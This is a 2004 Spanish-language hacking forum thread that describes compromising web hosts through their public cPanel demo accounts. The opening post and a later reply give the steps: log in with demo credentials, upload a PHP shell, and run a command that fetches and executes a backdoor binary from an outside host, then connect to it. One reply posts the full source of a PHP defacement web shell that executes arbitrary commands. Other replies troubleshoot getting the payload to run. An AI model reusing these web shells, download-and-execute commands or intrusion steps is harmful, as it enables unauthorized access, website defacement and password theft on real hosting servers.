elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
13 Febrero 2012, 14:43  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Hackeos rapidos a hosting
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Hackeos rapidos a hosting  (Leído 7,249 veces)
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Hackeos rapidos a hosting
« en: 3 Octubre 2004, 17:07 »

Me base en un foro que encontre... es una buena idea...

Buscas en google algun servicio de hosting que ofresca un demo de c-panel.
http://www.google.cl/search?hl=es&ie=UTF-8&q=Cpanel+demo&btnG=B%C3%BAsqueda&meta=lr%3Dlang_es

Por lo general estas cuentas demos viene con su espacio web y su ftp. EJEMPLO:
El demo del cpanel de http://www.XXXXXX.org es
User: demo
Pass: demo

Como veran si entro al ftp, sería
ftp://demo:demo@www.XXXXXXXX.org

Subo una shell en php y luego la ejecuto en:
http://www.XXXXX.org/~demo/shell.php

Ahora hacemos lo que queramos, para este caso:
cd /tmp/;wget http://massxpl.gratishost.com/r0nin;chmod 777 r0nin;./r0nin

Y me devuelve un mensaje de que fue ejecutado, de modo que ahora podemos entrar por el puerto 1666 (ya se sabe eso) ---> Abrir algun cliente, como el putty, seleccionar telnet y puerto 1666 y colocar de host mexcomp.com

Y que mas, ver si podemos ejecutar un exploit local y revisar los sitios alojados de modo con el comando "head -1000 /etc/userdomains". Ahi vemos si podemos desfacearlos o revisar el codigo de los sitios para encontrar configuraciones y contraseñas, o que se yo..

Salu2,

Gracias a bad-x-sql-root
« Última modificación: 7 Octubre 2004, 09:33 por el-brujo » En línea



W4ck1ng Team Member
shy

Desconectado Desconectado

Mensajes: 144


¡Amo YaBB SE!


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #1 en: 4 Octubre 2004, 01:43 »

Me pasaron esto ...

Código:
<!--
Defacing Tool Pro v1.6 by r3v3ng4ns
Autor: r3v3ng4ns - revengans@hotmail.com
Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais
-->
<?php
@closelog();
@error_reporting(0);
$vers="1.6beta";
$remote_addr="http://127.0.0.1/~snagnever/defacement/paginanova/";//url
$format_addr=".txt";//formato
$string_addr=$remote_addr."pro16".$format_addr;//cmd
$safe_addr=$remote_addr."safe16".$format_addr;//safemode
$writer_addr=$remote_addr."writer16".$format_addr;//writer
$phpget_addr=$remote_addr."get16".$format_addr;//phpget
$feditor_addr=$remote_addr."feditor".$format_addr;//main feditor
$put_addr=$remote_addr."feditor_put".$format_addr;//file writer
$total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$chdir=$_GET['chdir'];
if($chdir=="")$chdir=getcwd();

$cmd=$_GET['cmd'];
$cmd=stripslashes($cmd);
$ch_msg="";
$login=@posix_getuid();
$euid=@posix_geteuid();
$gid=@posix_getgid();

if (strpos($cmd, 'chdir')!==false and strpos($cmd, 'chdir')=='0'){
   $boom = explode(" ",$cmd,2);
   $boom2 = explode(";",$boom['1'], 2);
   $diretorio = $boom2['0'];

   if($boom['1']=="/")$chdir="";
   else if(strpos($cmd, 'chdir ..')!==false){
     $cadaDir = array_reverse(explode("/",$chdir));
     if($cadaDir['0']=="" or $cadaDir['0'] ==" ") $lastDir = $cadaDir['1']."/";
     else{ $lastDir = $cadaDir['0']."/"; $chdir = $chdir."/";}
     $diretorio = str_replace($lastDir,"",$chdir);
     if($diretorio=="/")$chdir="";
   }
   if(strrpos($diretorio,"/")==(strlen($diretorio)-1)) $diretorio=substr($diretorio,0,strrpos($diretorio,"/"));
   if(@opendir($diretorio)!==false) $chdir=$diretorio;
   else if(@opendir($chdir."/".$diretorio)!==false) $chdir=$chdir."/".$diretorio;
   else $ch_msg="dtool: line 1: chdir: $diretorio: No such directory or permission denied.\n";
   if($boom2['1']==null) $cmd = $boom['2']; else $cmd = $boom2['1'].$boom2['2'];
}
$cmdshow=$cmd;
if($chdir==getcwd() or empty($chdir) or $chdir=="")$showdir="";else $showdir="+'chdir=$chdir&'";

if (@is_dir("/usr/X11R6/")) $pro0="<i>X11</i> em /usr/X11R6/, ";
if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="<i>xterm</i> em /usr/X11R6/bin/xterm, ";
if (@file_exists("/usr/bin/nc")) $pro2="<i>nc</i> em /usr/bin/nc, ";
if (@file_exists("/usr/bin/wget")) $pro3="<i>wget</i> em /usr/bin/wget, ";
if (@file_exists("/usr/bin/lynx")) $pro4="<i>lynx</i> em /usr/bin/lynx, ";
$ip=@gethostbyname($_SERVER['HTTP_HOST']);
$pro=$pro0.$pro1.$pro2.$pro3.$pro4;

if(strpos($cmd, 'ls --') !==false){ $cmd = str_replace('ls --', 'ls -F --', $cmd);}
else if(strpos($cmd, 'ls -') !==false){ $cmd = str_replace('ls -', 'ls -F', $cmd);}
else if(strpos($cmd, ';ls') !==false){ $cmd = str_replace(';ls', ';ls -F', $cmd);}
else if(strpos($cmd, '; ls') !==false){ $cmd = str_replace('; ls', ';ls -F', $cmd);}
else if($cmd=='ls'){$cmd = "ls -F";}
if(strpos($chdir, '//') !==false) $chdir = str_replace('//', '/', $chdir);
?>
<body onload="window.document.c.comando.focus();window.document.c.comando.select();">
<style>.campo{font-family: Verdana; color:white;font-size:11px;background-color:#414978;}
.infop{font-family: verdana; font-size: 10px; color:#000000;}
.infod{font-family: verdana; font-size: 10px; color:#414978;}
.algod{font-family: verdana; font-size: 12px; font-weight: bold; color: #414978;}
.titulod{font:Verdana; color:#414978; font-size:20px;}</style>
<script>
function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri = location.href.substring(addr.length,location.href.length+1);inclvar = stri.substring(0,stri.indexOf('='));}
function enviaCMD(){inclVar();window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$string_addr;?>'+'?&'<?=$showdir;?>+'cmd='+window.document.c.comando.value;return false;}
function PHPget(){inclVar();var c=prompt("[ PHPget ] by r3v3ng4ns\nDigite a ORIGEM do arquivo (url) com ate 7Mb\n-Utilize caminho completo\n-Se for remoto, use http:// ou ftp://:","");var dir = c.substring(0,c.lastIndexOf('/')+1);var file = c.substring(dir.length,c.length+1);var p=prompt("[ PHPget ] by r3v3ng4ns\nDigite o DESTINO do arquivo\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file);window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$phpget_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'c='+c+'&p='+p);}
function PHPwriter(){inclVar();var url=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite a URL do frame","http://www.geocities.com/revensite/index.htm");var dir = url.substring(0,url.lastIndexOf('/')+1);var file = url.substring(dir.length,url.length+1);var f=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Nome do arquivo a ser criado\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file); t=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Title da pagina","[ r00ted team ] owned you :P");window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$writer_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'url='+url+'&f='+f+'&t='+t);}
function resumir() {inclVar();
resumo='<DIV STYLE="font-family: verdana; font-size: 11px;"><b> <?=$total_addr;?>?'+inclvar+'=<?=$string_addr;?></b><br><?php
 $uname = posix_uname();
 while (list($info, $value) = each ($uname)) { ?><b><?= $info ?>:</b> <?= $value ?><br><?php } ?><b>default user:</b> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)<br><b>ip: </b> <?=$ip;?><br><b>server info: </b><?="$SERVER_SOFTWARE $SERVER_VERSION";?><br><b>pro info: </b><?=$pro;?><br><b>path da pagina: </b><?= getcwd() ?><br><b>path writable:</b><? if(@is_writable(getcwd())){ echo " <b>YES</b>"; }else{ echo " no"; } ?>'
jan=open("","jan","width=580,height=300,menubar=yes,scrollbars=yes,resizable=yes,");jan.document.write(resumo);jan.document.write("<p> <? echo str_repeat("==", 35)?></p>");jan.document.title="Resumo do servidor";jan.focus();}
function PHPf(){inclVar();var o=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use http:// ou ftp://","<?=$chdir;?>/index.php"); var dir = o.substring(0,o.lastIndexOf('/')+1);var file = o.substring(dir.length,o.length+1);window.open('<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>?&inclvar='+inclvar+'&o='+o);}
function safeMode(){inclVar();if (confirm ('Deseja ativar o DTool com suporte a SafeMode?')){window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$safe_addr;?>'+'&'<?=$showdir;?>;}else{ return false }}
</script>
<table width="690" border="0" align="center" cellpadding="2" cellspacing="0" bgcolor="#FFFFFF">
<tr><td><div align="center" class="titulod"><b>[ Defacing Tool Pro v<?=$vers;?> ] <a href="javascript:window.open('<?=$remote_addr;?>help.txt');">?</a><br>
<font size=2>by r3v3ng4ns - revengans@hotmail.com </font>
</b></div></td></tr>
<tr><td><TABLE width="370" BORDER="0" align="center" CELLPADDING="0" CELLSPACING="0">
<?php
 $uname = @posix_uname();
 while (list($info, $value) = each ($uname)) { ?>
<TR><TD><DIV class="infop"><b><?=$info ?>:</b> <?=$value;?></DIV></TD></TR><?php } ?>
<TR><TD><DIV class="infop"><b>user:</b> uid(<?=$login;?>) euid(<?=$euid;?>) gid(<?=$gid;?>)</DIV></TD></TR>
<TR><TD><DIV class="infod"><b>write permission:</b><? if(@is_writable($chdir)){ echo " <b>YES</b>"; }else{ echo " no"; } ?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>server info: </b><?="$SERVER_SOFTWARE $SERVER_VERSION";?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>pro info: ip </b><?="$ip, $pro";?></DIV></TD></TR>
<? if($chdir!=getcwd()){?>
<TR><TD><DIV class="infop"><b>original path: </b><?=getcwd() ?></DIV></TD></TR><? } ?>
<TR><TD><DIV class="infod"><b>current path: </b><?=$chdir ?>
</DIV></TD></TR></TABLE></td></tr>
<tr><td><form name="c" id="c" method="post" action="#" onSubmit="return enviaCMD()">
<table width="375" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#414978"><tr><td><table width="370" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="white"><tr>
<td width="75"><DIV class="algod">command</DIV></td>
<td width="300"><input name="comando" type="text" id="comando" value='<?=$cmdshow;?>' style="width:295; font-size:12px" class="campo">
</td></tr></table><table><tr><td>
<?php
if(isset($chdir)) @chdir($chdir);
ob_start();
function safemode($what){echo "It seems that this server is using php in safemode. Try to use DTool in Safemode.";}
$funE="function_exists";
if($funE('passthru'))$fe="passthru";
elseif($funE('system'))$fe="system";
elseif($funE('shell_exec'))$fe="shell_exec";
else $fe="safemode";
$fe("$cmd  2>&1");
$output=ob_get_contents();ob_end_clean();
?>
<td><input type="button" name="snd" value="snd cmd" class="campo" onClick="enviaCMD()"><input type="button" name="getBtn" value="PHPget" class="campo" onClick="PHPget()"><input type="button" name="writerBtn" value="PHPwriter" class="campo" onClick="PHPwriter()"><input type="button" name="edBtn" value="Fileditor" class="campo" onClick="PHPf()"><input type="button" name="resBtn" value="resumir" class="campo" onClick="resumir()"><input type="button" name="smBtn" value="safemode" class="campo" onClick="safeMode()"><input type="button" name="gsBtn" value="open shell" class="campo" onClick="inclVar();window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$remote_addr;?>pro16s.txt');"
</tr></table></td></tr></table></form></td></tr>
<tr><td align="center"><DIV class="algod"><br>stdOut from <?="\"<i>$cmdshow</i>\", using <i>$fe()</i>";?></i></DIV>
<TEXTAREA name="output_text" COLS="90" ROWS="10" STYLE="font-family:Courier; font-size: 12px; color:#FFFFFF; font-size:11 px; background-color:black;width:683;">
<?php
echo $ch_msg;
if (empty($cmd) and $ch_msg=="") echo ("Comandos Exclusivos do DTool Pro\n\nchdir <diretorio>; outros; cmds;\nMuda o diretorio para aquele especificado e permanece nele. Precisa ser o primeiro da linha. ex: chdir /diretorio/sub/;pwd;ls\n\nPHPget, PHPwriter, PHPfilEditor e Resumir\nconsulte http://www.geocities.com/revensite/help.txt");
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?></TEXTAREA><BR></td></tr></table>


espero loes ayude
« Última modificación: 4 Octubre 2004, 01:49 por shy » En línea
Ambolius


Desconectado Desconectado

Mensajes: 1.338


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #2 en: 4 Octubre 2004, 09:40 »

Funcionar, funciona... Muy bueno shy, estaba buscando algo por el estilo :p
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
the_haunted

Desconectado Desconectado

Mensajes: 72


the world needs a hero !!


Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #3 en: 4 Octubre 2004, 10:06 »

super bueno ese material
En línea


MODERADOR GLOBAL:
PERROSHACKERS
CMH-IP FRIEDS:
CMH-IP.NET
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #4 en: 4 Octubre 2004, 12:45 »

Esa misma shell utilize yo, mas especificamente para subir el r0nin fue:

Código:
http://www.mexcomp.com/~demo/shell.php?=http://127.0.0.1/~snagnever/defacement/paginanova/pro16.txt?&chdir=/tmp/&cmd=wget http://massxpl.gratishost.com/r0nin;chmod 777 r0nin;./r0nin
En línea



W4ck1ng Team Member
Yioka

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #5 en: 6 Octubre 2004, 10:03 »

Hello, and thx a lot :)

I have a question , i got this :


stdOut from "cd /tmp;./r0nin", using passthru()

Result :  sh: line 1: ./r0nin: Permission denied

Is it possible that its an antivirus ?
En línea
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 16.983


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Hackeos rapidos a hosting
« Respuesta #6 en: 6 Octubre 2004, 10:05 »

i don't think so.

Remember to do a chmod.....
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

Yioka

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #7 en: 6 Octubre 2004, 10:32 »

yes i chmod 777 it :/
En línea
Ambolius


Desconectado Desconectado

Mensajes: 1.338


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #8 en: 6 Octubre 2004, 11:28 »

write:

Citar
ls -l

And u can see if u have permission.

Better that, don´t do it in /tmp. Go yo cd $HOME, and if you have a home directory you´ll have permission to execute the r0nin.

Mi ingles es de pena  :-\
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #9 en: 7 Octubre 2004, 09:26 »

http://foro.elhacker.net/index.php/topic,37656.0.html#msg182294

Here there is but information of what can be happening to you
En línea
Ambolius


Desconectado Desconectado

Mensajes: 1.338


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #10 en: 7 Octubre 2004, 09:32 »

No se pueden publicar datos de terceros, y menos que comprometan su seguridad. Por eso te he modificado el mensaje.

Quien quiera peces, que se moje el culo.
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.634



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #11 en: 7 Octubre 2004, 09:38 »

Pssss, tranquilo!!!   Ambolius , no seas descortes y respeto guarda respeto o no?

En línea
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #12 en: 7 Octubre 2004, 10:14 »

No se pueden publicar datos de terceros, y menos que comprometan su seguridad. Por eso te he modificado el mensaje.

Quien quiera peces, que se moje el culo.

Mmmmm.. lo de no publicar datos que afecten a terceros.. tan directamente como lo hice (supongo que se habla de mi msg, pues ahora esta modificado)... lo entiendo y pido perdon, la verdad fue muy explicito el post. Pero sabes que no fue la intención.

Respecto a lo de los peces.. esto no es pesca... es como un pescador con bomba nuclear púes mata a todos los peces con presionar un boton, mas sencillo donde.
Tb hay formas y formas de decirlo...  :-\

Salu2,
« Última modificación: 7 Octubre 2004, 10:17 por chico » En línea



W4ck1ng Team Member
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.634



Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #13 en: 7 Octubre 2004, 11:28 »


Tb hay formas y formas de decirlo...  :-\

Salu2,

Te apoyo chico, hay formas de decir las cosas

Man-In-the-Middle
En línea
Ambolius


Desconectado Desconectado

Mensajes: 1.338


/España/Guadalajara


Ver Perfil
Re: Hackeos rapidos a hosting
« Respuesta #14 en: 7 Octubre 2004, 11:29 »

No se si lo habeis entendido mal o que... Lo unico que quise decir con el mensaje anterior es que, si alguien quiere emplear este metodo que lo busque por sus propios medios. Que no le deis servers "vulnerables".

Lo de publicar datos de terceros lo digo porque es una regla del foro.

Y otra cosa, man in the middle, ni he sido descortes, ni te he faltado al respeto. Tu faltaste a una regla del foro y trate de corregirlo, nada mas.

Pd. Por cierto, porque lo borraste?
« Última modificación: 7 Octubre 2004, 11:30 por Ambolius » En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
header.php => Como evitar hackeos
Desarrollo Web
foroposteadores 1 1,153 Último mensaje 29 Marzo 2011, 05:42
por drvy | BSM
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines